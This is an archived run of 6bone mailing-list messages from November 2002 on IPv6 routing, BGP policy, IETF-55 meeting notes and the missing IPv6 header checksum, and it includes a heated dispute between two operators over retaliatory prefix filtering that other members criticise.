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Subject: [6bone] 6Bone backbone meeting; Moved back to noon!
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Updated: 12:00 (noon) Tuesday.

Room is called "State" (Conference level, behind escalators).

We'll have 1 hour from 12:00-1:00

Agenda:

Pekka's 6bone-mess draft
2772bis (delta's from previous)
Michel Py's thoughts on the 6bone.

See you there.

Thanks
Rob Rockell
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From nicolas.deffayet@ndsoftware.net Mon Nov 18 15:44:51 2002
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Subject: Re: [6bone] finding a contact
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Aphollis@aol.com
Cc: 6bone@ISI.EDU
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On Mon, 2002-11-18 at 22:37, Aphollis@aol.com wrote:
Hi Adam,

> My name is Adam Hollis and I am conducting a project at Chico State where I am setting up an IPv6 host (Windows XP) to a 3640 Cisco router.  Then I want to be able to tunnel through an IPv4 network and so forth.  I was hoping that you could help me find a contact so I can get an IPv6 address for this project.  Any help would be great.  

In California, you have this pTLA:

http://whois.6bone.net/cgi-bin/whois?esnet
http://whois.6bone.net/cgi-bin/whois?isi-lap
http://whois.6bone.net/cgi-bin/whois?cisco
http://whois.6bone.net/cgi-bin/whois?digital-ca

Try to contact them.

Best regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From bjorn@mork.no Tue Nov 19 03:39:20 2002
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 DEFFAYET's message of "18 Nov 2002 19:45:25 +0100")
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Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
> On Mon, 2002-11-18 at 17:45, Bjørn Mork wrote:
>> Pekka Savola <pekkas@netcore.fi> writes:
>> > On Mon, 18 Nov 2002, Bjørn Mork wrote:
>> >> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
>> >> 
>> >> > BGP choose the route(s) with shorter ASpath and lower MED.
>> >> 
>> >> MED won't matter unless you have multiple links to the _same_ AS.
>> >
>> > unstated background is that Mr Deffayet is using "always-compare-med".
>> 
>> With 90+ uncoordinated peers? Doesn't that result in more or less
>> random routing? 
>
> http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php
>
> Our routing is very clean and not random.

Sorry, the word I was looking for wasn't really "random" but
"arbitrary".

You prefer routes with MED to routes without MED (or vice versa if you
are using Cisco defaults). I don't think most of your peers would
expect them to suddenly become the preferred path just because they set
a default MED.

What advantages do route selection based on MED give you?


Bjørn

From itojun@itojun.org Tue Nov 19 05:06:31 2002
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Subject: [6bone] 2001:240::/35 ghost route
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	we (IIJ, AS2497) have migrated from 2001:240::/35 to 2001:240::/32.
	we stopped announcement of 2001:240::/35 on oct 16.  however,
	junk routes are still floating around (via AS6175 and/or AS145).
	also i got a report that AS1103 is sourcing 2001:240::/32.

	so
	(1) if you see 2001:240::/35, filter them out.
	(2) if you see 2001:240::/32 from someone other than AS2497,
	    please report.
	(3) if you are AS contact for the above ASes (6175, 145, 1103) check
	    if your router is behaving correctly.  it is known that some of the
	    publically-available BGP code misbehaves on withdraw.
	thanks.

itojun


--- topmost line and bottom line are TOTALLY WRONG
*  2001:240::/35    2001:948:0:F000::1
                                                           0 2603 11537 145 6175
 2497 i
*>i                 2001:708:0:F000::A:1
                                                  100      0 3274 5539 4589 2497
 i
*> 2001:240::/32    2001:948:0:F000::1
                                                  200      0 2603 6680 1103 i


From bmanning@ISI.EDU Tue Nov 19 06:24:48 2002
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Ok, so here is an alternate view

presume AS 4554 has the following delegations:

	3ffe:08::/24
	2001:0478::/32

and there is a mix of hosts, routers, and links (local/wide)

local links all run native IPv6 and there is a mix of native and tunneled
IPv6 over the wan links.

Due to acidents of history, 3ffe and 2001 addresses are used on both 
lan and wan links.

Perhaps it would be worthwhile to ask folks to consider doing the
following:

	for native IPv6 connections, use 2001 space.
	for tunnels between IPv6 islands over IPv4 only space,
	use 3ffe space.

this will ensure that, at least for AS 4554, any exposure of 3ffe space
will reflect the "knitting" of native IPv6 networks together over tunneled
environments. e.g. the 6bone.

then comes the fun part... :)

AS 4554 would be injecting a single 3ffe prefix into the routing system,
3ffe:08::/24.  Thats a whole bunch of p2p tunnels.  There are only ~30 tunnels
for this AS.  One could renumber all the tunnels into one end of the address
range, making the effective used space something like:
3ffe:8::/120

AS 4554 would like to remove the 3ffe:08::/24 in the routing system and 
replace it in the routing system with 3ffe:08::/120
As AS 4554 removes/replaces tunnels with native connectivity, the
routing announcement will shrink, from a /120, to a /122, to a /126
and then zero, which indicates that AS 4554 is no longer using tunnels
to link v6 islands (e.g. no 6bone!)



--bill

From itojun@itojun.org Tue Nov 19 06:58:30 2002
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Subject: Re: [6bone] 2001:240::/35 ghost route 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Tue, 19 Nov 2002 23:58:09 +0900
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>	we (IIJ, AS2497) have migrated from 2001:240::/35 to 2001:240::/32.
>	we stopped announcement of 2001:240::/35 on oct 16.  however,
>	junk routes are still floating around (via AS6175 and/or AS145).
>	also i got a report that AS1103 is sourcing 2001:240::/32.

	correction - we (AS2497) still are advertising 2001:240::/35, to defend
	against ghost routes.  sorry for the confusion.  so,
	(1) if you see 2001:240::/35 or 2001:240::/32 source by other parties,
	let us know.

itojun

From pekkas@netcore.fi Tue Nov 19 08:17:37 2002
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Date: Tue, 19 Nov 2002 18:17:19 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: =?iso-8859-1?q?Bj=F8rn?= Mork <bjorn@mork.no>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, <6bone@ISI.EDU>
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Tue, 19 Nov 2002, Bjørn Mork wrote:
> What advantages do route selection based on MED give you?

MED is only considered on equally long paths, contrary to 
local-preference.

(There are some caveats to using MED like this, like the origin of the 
route being IGP vs unknown.)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From dragon@tdoi.org Tue Nov 19 09:16:21 2002
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hi 6bone folks,

i got a nice mail from Deffayet

greets
Christian

----- Original Message ----- 
From: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
To: <dragon@tdoi.org>
Cc: <noc@tdoi.org>; <abuse@tdoi.org>; <tunnel@tdoi.org>; <peering@tdoi.org>
Sent: Tuesday, November 19, 2002 12:36 AM
Subject: Filtering


> Hi kiddie,

ah he is talking to himself :)

> 
> I'm glad to announce that NDSoftware (AS25358) has setup filters for
> drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
> 2001:768:1800::/40.
> 
> >From your website (http://www.tdoi.org):
> "Our Autonomous System does not accept prefix 3ffe:4013::/32.
> Any route via AS25358 will be removed.
> You cannot reach any prefix routed via AS25358!"
> 
> It's too funny.

yes it is funny :)

> 
> You don't have an Autonomous System, you have a private ASN with 2 /48
> and 1 /40 for play.

and my prefixes are not for playing like your privateTLA 
it is production space

> You are an inmensly irritating clueless kiddie who want to impress other
> 6bone / ipv6 users.
> 
> Your filtering is not a problem because you are the only user of your
> network.
> 
> Our filtering will be a problem for you because we provide transit to
> many AS. People who transit via our network can't will reach you.

transit to many AS? wow ;)

> 
> 
> Have a nice day with your broken IPv6 network.

oh yes it is now really broken 

> 
> Best Regards,
> 
> -- 
> Nicolas DEFFAYET, NDSoftware
> NOC Website: http://noc.ndsoftwarenet.com/
> FNIX6: http://www.fnix6.net/
> 
> 


From sb@rdns.de Tue Nov 19 09:28:55 2002
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Dear Christian Nickel,

> hi 6bone folks,

> i got a nice mail from Deffayet

>>
>> I'm glad to announce that NDSoftware (AS25358) has setup filters for
>> drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
>> 2001:768:1800::/40.
>> 
>> >From your website (http://www.tdoi.org):
>> "Our Autonomous System does not accept prefix 3ffe:4013::/32.
>> Any route via AS25358 will be removed.
>> You cannot reach any prefix routed via AS25358!"
>> 
>> It's too funny.

blah blah blah, can't you just stop fighting? christian, the filtering
is just a provocation, so now Nicolas filters back. senseless.

>> Have a nice day with your broken IPv6 network.

have a nice day with your f*cking fights. and PLEASE don't blame the
6bone mailing list with that crap, we want to to serious talk about
serious problems, not about kiddish problems,

cheers

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From Willem@Grooters.100.nl Tue Nov 19 11:45:53 2002
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Hello on the 6bone

I'm not new to IPV4 - though more a programmer for over e decade than
network specialist - and I'd like to know more on IPV6 - and use it.
I've read some literature on the subject, most RFC's concerning IPV6 but
given the discussions on this forum during the last month I hardly thinkthis
forum can be of any help, since the discussions seem to be more about
political issues (the whole rubbish on NDSOFTWARE.NET) than helping anyone
to get some idea on how to get on with IPV6....
Still, I'll give it a try.

I have:

1 Alpha running OpenVMS 7.3-1 (which is said to be IPV6 ready)
2 Intel W2K machines, I downloaded the IPV6-perview for this
1 WindowsME, I downloaded Trumpet IPV6 stack already.
I _will_ have an ADSL connection within a few weeks, but I don't thinmk the
router I'll have to use is IPV6 ready (still have to ask). i _could_ use an
old PC running Linux, but it will be an older RedHat implementation (newest
do not install....)
For the Windows machines, I'm NOT upgrading to XP (which seems to have an
IPV6 stack somehow)
All connected using FastEthernet.

What I did understand from the site is that Windows might have a problem.
How to get over it?
I don't think the local network would be a problem. But what about
connecting to the Internet? My ISP doesn't connect over IPV6 yet, so I'll
have to use 6to4, probably. Where: On the VMS-box? On a router (be it Linux,
FreeBSD or whatever).
Can I use a modem in stead of a 'fixed'connection (I would think yes, but
like to have confirmation). In that case, I'll need 6to4 on a PC....

Any good books to read?

I intend to stay an end-node, for now.

Willem Grooters
e-mail: Willem.Grooters.100.nl



From jeroen@unfix.org Tue Nov 19 13:07:54 2002
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Willem Grooters wrote:

> Hello on the 6bone
> 
> I'm not new to IPV4 - though more a programmer for over e decade than
> network specialist - and I'd like to know more on IPV6 - and use it.
> I've read some literature on the subject, most RFC's 
> concerning IPV6 but
> given the discussions on this forum during the last month I 
> hardly thinkthis
> forum can be of any help, since the discussions seem to be more about
> political issues (the whole rubbish on NDSOFTWARE.NET) than 
> helping anyone
> to get some idea on how to get on with IPV6....
> Still, I'll give it a try.

Quite unfortunate that you read it like that, but it was like that.
Politics are required to keep things moving around otherwise it will all
turn into a big mess (See Pekka's draft about that :).
Though there is much help to be found here ofcourse.

Biggest help to most people will be http://hs247.com containing many
links to documentation (RFC's etc), resources and tunnelbrokers.
It also serves as the main "IPv6 News" site.

> I have:
> 
> 1 Alpha running OpenVMS 7.3-1 (which is said to be IPV6 ready)

These will work I heared from a certain person called snore.
If you need more info I can ping him around to you.

> 2 Intel W2K machines, I downloaded the IPV6-perview for this

Works perfectly.

> 1 WindowsME, I downloaded Trumpet IPV6 stack already.

Unknown to me, I refuse to use 9x due to many reasons ;)

> I _will_ have an ADSL connection within a few weeks, but I 
> don't thinmk the router I'll have to use is IPV6 ready (still have to
ask).

XS4all (www.xs4all.nl) PowerDSL does native IPv6. As for most others
most
other dutch ADSL you will need to setup a tunnel to a tunnelbroker (see
below).
XS4all have their own btw (http://service.xs4all.nl/ipv6/)
Concepts (www.supersneladsl.nl :) uses a SixXS POP (see below)

> i _could_ use an old PC running Linux, but it will be an older RedHat 
> implementation (newest do not install....)
> For the Windows machines, I'm NOT upgrading to XP (which 
> seems to have an IPV6 stack somehow)

The IPv6 Previews work just fine.

> All connected using FastEthernet.
> 
> What I did understand from the site is that Windows might 
> have a problem.

Windows NT based products work fine, I personally don't have experience
with 9x and IPv6.

> How to get over it?
> I don't think the local network would be a problem. But what about
> connecting to the Internet? My ISP doesn't connect over IPV6 
> yet, so I'll have to use 6to4, probably. Where: On the VMS-box? On a 
> router (be it Linux, FreeBSD or whatever).
> Can I use a modem in stead of a 'fixed'connection (I would 
> think yes, but like to have confirmation). In that case, I'll need
6to4 on a PC....

IMHO 6to4 is not so good especially as there are at least 2 "big"
tunnelbrokers in holland:
http://www.xs26.net
http://www.sixxs.net (IPng.nl is provisioned by them now also)

They both can provide you with a tunnel and a subnet.
Note that xs26 has multiple POPs and you can connect to all of them
routing the same prefix over those tunnels, while sixxs has multiple
POPs but to completely distinct networks.
Thus your milage may vary. Read the websites, snoop around and find out.

6to4 usually goes over cselt (tilab) which is not really 'local' :)

> Any good books to read?

Christian Huitema's book available at most Donner's (the bookchain with
the ";)").

%T IPv6: The New Internet Protocol
%A Huitema, Christian
%I Prentice Hall
%C Englewood Cliffs, New Jersey
%D 1996
%O paperback, index
%G ISBN 0-13-241936-X
%P vii,188pp

Or check http://dannyreviews.com/h/IPv6.html and ofcoure "Christian
Huitema IPv6" in google.

Greets,
 Jeroen


From woof@in.woof.lu Tue Nov 19 13:34:19 2002
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From: Arnaud Willem <6bone@woof.lu>
To: Christian Nickel <dragon@tdoi.org>
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Subject: Re: [6bone] Fw: Filtering
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Hi!

I've been following this from far away since some time now, but
I think that this is going a bit too far, don't you think?

On Tue, Nov 19, 2002 at 06:15:51PM +0100, Christian Nickel wrote:
[...]=20
>=20
> > Hi kiddie,
>=20
> ah he is talking to himself :)
>=20
Well, if you start your e-mails this way, I understand why you are not
getting much sympathy from him..
> >=20
> > I'm glad to announce that NDSoftware (AS25358) has setup filters for
> > drop any packets from and to 2001:658:217::/48, 2001:618:B::/48,
> > 2001:768:1800::/40.
> >=20
> > >From your website (http://www.tdoi.org):
> > "Our Autonomous System does not accept prefix 3ffe:4013::/32.
> > Any route via AS25358 will be removed.
> > You cannot reach any prefix routed via AS25358!"
> >=20
> > It's too funny.
>=20
> yes it is funny :)
>=20

Woooohoooo! Filtering routes! What a great idea!
You claim that you are using your IP subnets for "production space",
but, I must say I'm a bit lost on this one: why do you announce that you
are going to filter A WHOLE /32 OUT? And even more, a whole AS!

=46rom what I can see in your looking glass, the pTLA is not appearing in
it.
=46rom what I can see in NDSOFTWARE's looking glass, your network, at
least, the aggregated /32 of it is still routed there!

> >=20
> > You don't have an Autonomous System, you have a private ASN with 2 /48
> > and 1 /40 for play.
>=20
> and my prefixes are not for playing like your privateTLA=20
> it is production space
>=20
> > You are an inmensly irritating clueless kiddie who want to impress other
> > 6bone / ipv6 users.
> >=20
> > Your filtering is not a problem because you are the only user of your
> > network.
> >=20
> > Our filtering will be a problem for you because we provide transit to
> > many AS. People who transit via our network can't will reach you.
>=20
> transit to many AS? wow ;)
>=20

I will not comment on this, as you are both, in this case being
childish, IMHO. ("I've got the biggest one!")
> >=20
> >=20
> > Have a nice day with your broken IPv6 network.
>=20
> oh yes it is now really broken=20
>=20
> >=20
> > Best Regards,
> >

I think that a nice quote would fit in perfectly in this case:
"Der kluegere gibt nach."
I don't know which one of you it is, but I hope that you'll stop
fighting around this way.

Yours truly,

	Arnaud Willem

PS: I haven't got any AS number, I might only be a newbie, but this is
complete NONSENSE!
--=20
Arnaud Willem
woof (at) woof.lu

Tue 23:56:20 < don-o> the problem is that emacs is as intuitive as a=20
		particle collider

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From laurent@forum-auto.com Tue Nov 19 13:36:57 2002
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Christian,

As I was saying to you by private mail, I'm very surprised that a
"professionnal" like you is playing to stupid things like filtering
traffic.

> and my prefixes are not for playing like your privateTLA
> it is production space

I would be very happy to know what kind of "production space" apply
stupids filters ??? I've found that you have removed it, good idea, it
was ridiculous ! (it seems you added it in static)


>> transit to many AS? wow ;)

If I were you I would not laught about that... You should be very happy
that Ndsoftware seems not to have apply such a filter... 

Moreover, the Ipv6-FR project is not a hoax ;) Ndsoftware help ipv6 to
be developped in France, as you can see it in this news from an
important Data Center in France (Paris)
http://www.telecity.fr/news_and_events.html (In french)
http://www.telecity.com/mailer1.html (in english)

Unfortunaly, it's not with www.tdoi.org (that seems to be plugged by
ISDN !) we'll be able to view what kind of "professional activity" you
do Christian ?

Christian Nickel, what is your problem ? It would be great to explain
this to this community...

Laurent HOFMANN


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From: Bernhard Schmidt <berni@birkenwald.de>
To: "Laurent - Forum-auto.com" <laurent@forum-auto.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re : Filtering
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On Tue, Nov 19, 2002 at 10:36:39PM +0100, Laurent - Forum-auto.com wrote:

Hi Laurent,

> >> transit to many AS? wow ;)
> If I were you I would not laught about that... You should be very happy
> that Ndsoftware seems not to have apply such a filter... 

If I were you I would be happy that NDsoftware has not applied such a
filter (or at least removed it), it would probably have been the end of
NDs pTLA at all (I believe most people would have filtered him after
doing such a crap). You probably do not understand the difference
between Christian's way of filtering and Nicolas' way.

Christian drops the whole ND pTLA in his BGP, so 3ffe:4013::/32
is just nonexistent to him. 

Nicolas instead does not filter on BGP level (because we do not announce
2001:768:1800::/40 so he can't filter it, pretty easy heh?) but on
Layer3/4 with some packet filtering. The network he wants to blackhole
(2001:768:1800::/40) is a subset of our prefix (2001:768::/32), which he
accepts and announces to other peers.

Now for the difference... viewed only from the local system both ways
have the same effect... the filtered prefix is just not available.
Christian cannot reach Nicolas because he has no route for this, and
Nicolas cannot reach Christian because he filtered it in a packet filter
or something like that.

But now we assume both have a "multihomed" downstream (multihomed
because they have bgp sessions to two or more IPv6 ASes and therefor are
computing the used upstream by bgp prefixes... or they provide transit
to other providers and so on)

Christian does not announce 3ffe:4013::/32 to his downstream. If the
downstream has another peer he will probably get the prefix from the other
upstream and go this way. So his downstream can reach NDs if he wants to.

We remember, Nicolas has no 2001:768:1800::/40 to filter out, because
there is no such prefix to filter. He announces the complete Cybernet
prefix (2001:768::/32) to his downstream and is attracting traffic to
Cybernet into his AS. There he dumps packets to Christian.

The difference is easily visable if you look from the downstream's point
of view. Christian says "I have no information how to reach
3ffe:4013::/32, don't route this prefix to me". Nicolas says "Yes, I can
reach 2001:768::/32 (and that means _the_ _whole_ 2001:768::/32), just 
give it to me" and then dumps traffic to parts of this prefix. You see
the difference?

> Moreover, the Ipv6-FR project is not a hoax ;) Ndsoftware help ipv6 to
> be developped in France, as you can see it in this news from an
> important Data Center in France (Paris)

Great, just one more advertising a nonexistant exchange point. I'm gonna
shoot myself tomorrow, I'm just too tired right now, okay?

TeleCity would probably announce that their cleaning personel found a
lost screw in the datacenter if it would keep them in the news. 

-- 
   bye bye
     Bernhard

From michel@arneill-py.sacramento.ca.us Tue Nov 19 17:28:26 2002
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Subject: [6bone] IETF-55 meeting
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6boners,

Some generic comments about the meeting format: Was in a small room,
focused audience (something like a fourth of the audience were actual
pTLAs. Was less formal than usual. I don't know about you, but I liked
this format, which is close than what we have been doing in ipv6mh as
well. Comments welcomed.

Here are the links to the slides I presented today.
http://arneill-py.sacramento.ca.us/ipv6mh/ietf55ilj.ppt
http://arneill-py.sacramento.ca.us/ipv6mh/ietf55ilj.pdf

Michel.


From navaneethams@huawei.com Tue Nov 19 19:20:12 2002
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Subject: [6bone] why there is no checksum in IPv6 header?
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Hi,

	what is the reason IPv6 doesn't have checksum in it's header? if header
corrupted how this situation will handle by IPv6 router?


Thanks,
Navaneetham


From itojun@itojun.org Tue Nov 19 19:50:33 2002
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pekka - 6bone mess

scope of the document, background
	introduction to problems in 6bone
		focus to routing problem 
		required reading for any 6bone/sTLA sit
		informational/bcp-like document
	some thoughts on solutions
		not perfect or fine-tuned, but enough to give some ideas
		does not give any final advaice
	background
		ipv6 is globally useless due to bad connectivity

problems with 6bone
	large number of BGP peers
		scaling problems, arms race
		you can only get good connectivity through 50+ peers?
	long tunnels
		instability
		AS path length as a metric loses its meaning
	old hardware, buggy software
		route withdrawal
		running transit service on old hardwrae or slow connection
	pTLA a sa hobby (non-ISP's having pTLAs
		pTLA's having not enough experience with "big ISP business"
		want to try bigger shoes than they're capable of
	full transit to everybody
		traffic does not go via sane paths
		worst problem
	reqeuirements for obtaining a pTLA
		too easy to get a pTLA and start toying

alternatives how to reach
	wait for real ipv6 transit providers/isps
		could take long
		big problem of "walled gardens"
	devise some hacks to bgp apth selection mechanisms
		to take tunnels etc. into account
		doesn't seem like the right solution
	create some (partial) hierarchy and control transit
		no automatic transit-for-all
		try to create islands bigger than one as to be significant
	continue as before
		forces everyone to participate in the "arms race"

	narten: clarify "islands" and "need transit providers"
	?: US, it's all about money so big ISPs do not start ipv6 services...
	pTLA/sTLA are single network
	should we separate them or not?
	pekka: transit should only made by real "transit" provider
	?: which is worse, long tunnel, or transit everywhere?
		both
		long tunnel is worse
		it is difficult to restrict bad tunnels from coming up
	it is too easy to become pTLA
	it's all about money, serious operation = money
	BGP policies should fix it?
	cmetz: generic problem for overlayed network.
	chicken-and-egg situation
	6bone was started as playground, production network should be separated
	need content
	amount of non-diagnostic traffic
	we need to use it daily
	we need to shout if there's problem, to get things fixed
	tag routes with BGP attributes?
	people using BGP without BGP knowledge

guidelines for connecting organizations
	end-sites
		ask your isp for v6 "create the market demand"
		connect as close topologically as you can
	small/medium-sized isp w/ stla/ptla
		too small to be globally significant, only in a region
		lots of tunnels for just them is a waste
		create some "islands" and connect these globally
		try to find transit providers
		change from full transit to mostly pure peering
		kill "long tunnels" especially if used for full transit
	real transit providers
		support v6, if not in every router, at least partially
		connect to other real transit networks

relationship with rfc2772, how to go forward
	quick summary
		create hierarchy to be globally significant
		transit should work together to connect only proper sites
		prefer local connections, disallow transit
	how to go forward?
		aim for bcp/informational, for both 6bone/RIR space owners?
		develop rules further, or is that for 2772bis?
	2772bis
		rules for 6bone address space owners only
		could be useful for rir space owners too, of course
		should not go too deep into the background - only reference 6bone-mess?


===
2772 additions

how should we change pTLA requirements?
	who got pTLAs JUSt to get around multi-homing problem?
	should we revoke bad pTLAs?
how can we motivate better performance of 6bone?

need to make this draft as explicit as possible, so the newbie can make this work

general comment: not trying to make 6bone "production" but to try to get pepole to limit the scope of how they break it

scope of document extended to rir space
prefix-based multicast more defined
increase required registry information
better wording on confusing parts
more explicit text surrounding filtering of 6bone prefix
must provide isp-like service - must be isp?
must have valid public ASN
must actually advertise the pTLA
creation of 6bone stereering group that can enforce rules specified with pTLAs
add SLA-like parameters
	our must try to actually fix a problem that one has
	keep latency down, response time to problem, ...
should this draft go to a working group?

pekka: should check current pTLA holders as well.
kessens: important to see what we can do to raise quality of applicants
rockell: how many of you are IPv6 full-time?
kessens: interpretation of rules - part of trouble.
pekka: need clear policy and implement it
classify by bandwidth?
(1) be more strict, like registry?  (2) to emulate realworld problem, we need 6bone
narten: hierarchical model is a pipe dream
pekka: hierarchy in connectivity, not address allocation
kessens: be realistic.


===
LIR
what is default free zone?
ipv4 dfz:
	subset of routers that do not have a default route and do not receive a full routing table from a single peer
	assembly of tier-1 isp
dfz and dfz's routing table
routing table beyond the dfz's boundaries

what is ipv6 dfz? - no transit provider, no tier 1, so no ipv6 dfz

three possible scenarios
1. centralized backbone, arpanet/nsfnet style, unlikely
2. competing but interconnected backbones.  this is the current tier-1 system.  likely.
3. no major backbone but large scale direct interconnection between smaller networks.  is this a realistic possibility?

(timeout)

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From stansley@microsoft.com Tue Nov 19 20:04:00 2002
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Speed. You likely do a checksum at layer 2 and layer 4, so why do
another. If the header is corrupted, the packet is dropped. Most books
explain this rationale.

Stewart Tansley
Program Manager
http://www.microsoft.com/ipv6/ 


> -----Original Message-----
> From: navaneetham [mailto:navaneethams@huawei.com] 
> Sent: Tuesday, November 19, 2002 7:20 PM
> To: 6bone@mailman.isi.edu
> Subject: [6bone] why there is no checksum in IPv6 header?
> 
> 
> Hi,
> 
> 	what is the reason IPv6 doesn't have checksum in it's 
> header? if header corrupted how this situation will handle by 
> IPv6 router?
> 
> 
> Thanks,
> Navaneetham
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone
> 

From navaneethams@huawei.com Tue Nov 19 20:42:44 2002
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Date: Wed, 20 Nov 2002 12:40:41 +0800
From: navaneetham <navaneethams@huawei.com>
Subject: RE: [6bone] why there is no checksum in IPv6 header?
In-reply-to: 
 <240659DFBDD99C4299EF7483EAD70F24DB0CE4@RED-MSG-01.redmond.corp.microsoft.com>
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I got your point stewart. the reason why IPv4 has header checksum is, there
may be a situation layer 2 may not have checksum (am I right?). did the same
situation never happen or what in IPv6? how to handle this?


Thanks&Regards,
Navaneetham



-----Original Message-----
From: Stewart Tansley [mailto:stansley@microsoft.com]
Sent: Wednesday, November 20, 2002 12:04 PM
To: navaneetham
Cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] why there is no checksum in IPv6 header?


Speed. You likely do a checksum at layer 2 and layer 4, so why do
another. If the header is corrupted, the packet is dropped. Most books
explain this rationale.

Stewart Tansley
Program Manager
http://www.microsoft.com/ipv6/


> -----Original Message-----
> From: navaneetham [mailto:navaneethams@huawei.com]
> Sent: Tuesday, November 19, 2002 7:20 PM
> To: 6bone@mailman.isi.edu
> Subject: [6bone] why there is no checksum in IPv6 header?
>
>
> Hi,
>
> 	what is the reason IPv6 doesn't have checksum in it's
> header? if header corrupted how this situation will handle by
> IPv6 router?
>
>
> Thanks,
> Navaneetham
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone
>


From jbartas@iniche.com Tue Nov 19 21:17:45 2002
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Hi navaneetham,

	IPv6 mandates that the upper layer protocols perform a standard "pseudo
sum" of the IP header's key fields (addresses and length) and fold the
value into the upper layer sum. IPv4 only did this for TCP and UDP, and
thus has the somewhat redundant IP level sum. This saves some CPU cycles
assembling and verifying packets, although as you point out it means
routers have no easy way to detect corrupt IP headers.

	I'll most "high speed" routers today don't check the header sums
anyway.

-JB-

navaneetham wrote:
> 
> Hi,
> 
>         what is the reason IPv6 doesn't have checksum in it's header? if header
> corrupted how this situation will handle by IPv6 router?
> 
> Thanks,
> Navaneetham
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
-JB-

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Well i suppose, it is not required to check checksum at each
layer provided the fact that data link / media access layer
already provide checksum errors.

The reason, it was removed is obvious, that is to improve
routing efficiency (minimize the cost of header processing).

- basit

On Wed, 20 Nov 2002, navaneetham wrote:

> Hi,
>
> 	what is the reason IPv6 doesn't have checksum in it's header? if header
> corrupted how this situation will handle by IPv6 router?
>
>
> Thanks,
> Navaneetham


From cliff@piper.oisec.net Tue Nov 19 23:27:18 2002
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From: Cliff Albert <cliff@oisec.net>
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Subject: Re: [6bone] why there is no checksum in IPv6 header?
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On Wed, Nov 20, 2002 at 11:19:52AM +0800, navaneetham wrote:

> 	what is the reason IPv6 doesn't have checksum in it's header? if header
> corrupted how this situation will handle by IPv6 router?

The IPv6 router has nothing to do anymore with checksums, they are all
handled in upper layers, so that the router does not have to recalculate
checksums for packets it handles. The checksum will be checked by the
end host and this host will initiate resend mechanisms. If I recall
correctly it has been done to reduce router CPU load.

-- 
Cliff Albert		| RIPE:	     CA3348-RIPE | http://oisec.net/
cliff@oisec.net		| 6BONE:     CA2-6BONE	 |
PGP Fingerprint = 9ED4 1372 5053 937E F59D  B35F 06A1 CC43 9A9B 1C5A

From hgoes@eu.uu.net Tue Nov 19 23:28:31 2002
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Hi,

I'm trying to reach some people at Euronet Internet in Belgium but they
don't reply to email.

Does anyone of you have additional contact which are not in the
"euronet-be" object ?

Euronet NL doesn't have access to the ipv6 box in Brussels.

Thanks,

Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
http://www.wcom.com/nl/


From pim@ipng.nl Wed Nov 20 00:51:38 2002
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Subject: Re: [6bone] why there is no checksum in IPv6 header?
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On Wed, Nov 20, 2002 at 11:19:52AM +0800, navaneetham wrote:
| Hi,
| 
| 	what is the reason IPv6 doesn't have checksum in it's header? if header
| corrupted how this situation will handle by IPv6 router?
Because the checksum of the IPv4 header has to be recalculated each time
the packet passes a router. All routers decrement the TTL (in IPv6, it's
called Hop Count) by one, which changes the contents of the header.

It is believed that there are not that many transmission failures these
days. In the (unlikely!) event of a datagram corruption, the layer2
checksumming will probably take care of things. If it does not, the
router will simply forward the datagram to an erroneous host, which will
then in turn disregard it.

Due to the low amount of header fields in IPv6, there's not much that
can go wrong, except for the source/destination address mutilization.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From mohacsi@evil.ki.iif.hu Wed Nov 20 01:01:29 2002
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On Wed, 20 Nov 2002, navaneetham wrote:

> Hi,
>
> 	what is the reason IPv6 doesn't have checksum in it's header? if header
> corrupted how this situation will handle by IPv6 router?

What is the reason to get the IPv6 packet get corrupted?

1. Usually It can happened in the lower layer, where much better error
detection and even correction mechanisms exist to prevent such a
corruption.

2. If some accidental thing happen to get IPv6 packet corrupted, then the
upper layer should handle the problem. With IPv6, the checksum is
mandatory for TCP (of course) and UDP (it was not the case for IPv4, to
speed up e.g. the NFS).

3. If somebody sending corrupted IPv6 packets, then the end system should
detect and drop it. However it might have some negative impact on the
performance of the end system receiving deliberately corrupted IPv6
packets. New form of DoS?

It was a engineering decision to off-load the routers from recomputing the
IP checksum everytime they forward a packet.

Best Regards,
		Janos Mohacsi
>
>
> Thanks,
> Navaneetham
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From basit@basit.cc Wed Nov 20 03:52:10 2002
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hello,

are there any decent ipv6 traffic generators ,
free one's ofcourse ?

take care
- basit


From pasky@machine.sinus.cz Wed Nov 20 04:36:13 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
To: Christian Nickel <dragon@tdoi.org>, nicolas.deffayet@ndsoftware.net
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Subject: [6bone] Blackholing on 6bone (possible RFC 2772-bis bit?)
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Dear diary, on Tue, Nov 19, 2002 at 06:15:51PM CET, I got a letter,
where Christian Nickel <dragon@tdoi.org> told me, that...
